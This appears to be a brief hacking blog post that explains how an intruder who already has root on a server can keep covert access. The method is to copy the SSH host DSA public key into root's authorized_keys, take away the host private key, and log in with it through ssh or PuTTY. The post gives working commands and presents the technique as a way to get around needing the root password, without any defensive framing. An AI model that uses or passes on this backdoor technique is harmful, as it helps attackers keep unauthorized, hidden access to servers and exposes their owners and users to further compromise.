legal Backdoor

Some Hackers they gain root privilege on a secure server but they can't install rootkit or backdoor, so what to do?

actually they can login any time to the server without known the root password!!!

by using RSA or DSA private key to login.

On Server Side:
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• copy the public key "/etc/ssh/ssh_host_dsa_key.pub " to "~/.ssh/authorized_keys" with chmod 600

#cp /etc/ssh/ssh_host_dsa_key.pub ~/.ssh/authorized_keys

#chmod 600 ~/.ssh/authorized_keys

On Client Side:
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• save the private key "/etc/ssh/ssh_host_dsa_key" to your machine with chmod 600

• use it with SSH option "-i" to login without password.

#chmod 600 ssh_host_dsa_key

#ssh root@192.168.1.2 -i ssh_host_dsa_key

For Windows Users:
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• copy the private key "/etc/ssh/ssh_host_dsa_key" content to window notepad

• load it in puttygen.exe and save it again with .ppk extension

• select the key from putty>connection>SSH>Auth

and enjoy login without password ;)